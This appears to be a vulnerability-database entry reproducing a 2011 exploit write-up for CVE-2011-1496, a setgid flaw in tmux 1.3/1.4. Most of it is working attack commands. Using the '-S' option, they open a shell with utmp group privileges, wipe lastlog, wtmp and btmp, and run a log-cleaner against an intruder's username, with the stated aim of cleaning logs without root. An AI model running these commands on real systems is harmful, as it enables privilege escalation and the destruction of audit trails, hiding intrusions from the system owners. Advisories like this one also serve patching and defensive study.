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tmux '-S' Option Incorrect SetGID Privilege Escalation Vulnerability

🗓️ 12 Apr 2011 00:00:00Reported by ph0x90bicType 
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tmux versions 1.3/1.4 expose SetGID vulnerability allowing local privilege escalation via log manipulation.

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| Team ph0x90bic proudly presents     |
| tmux -S 1.3/1.4 local utmp exploit  |
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# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability
# Date: 11.04.2011
# Author: ph0x90bic
# Software Link: http://tmux.sourceforge.net/
# Version: 1.3/1.4
# Tested on: Linux debian 2.6.26-1-686
# CVE : CVE-2011-1496
 
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INTRODUCTION
 
tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.
 
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EXPLOIT
 
Execute shell as utmp group
 
$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
 
$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
 
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Delete logfiles
 
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'
 
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Use logcleaner software
 
$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username



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12 Apr 2011 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.00098
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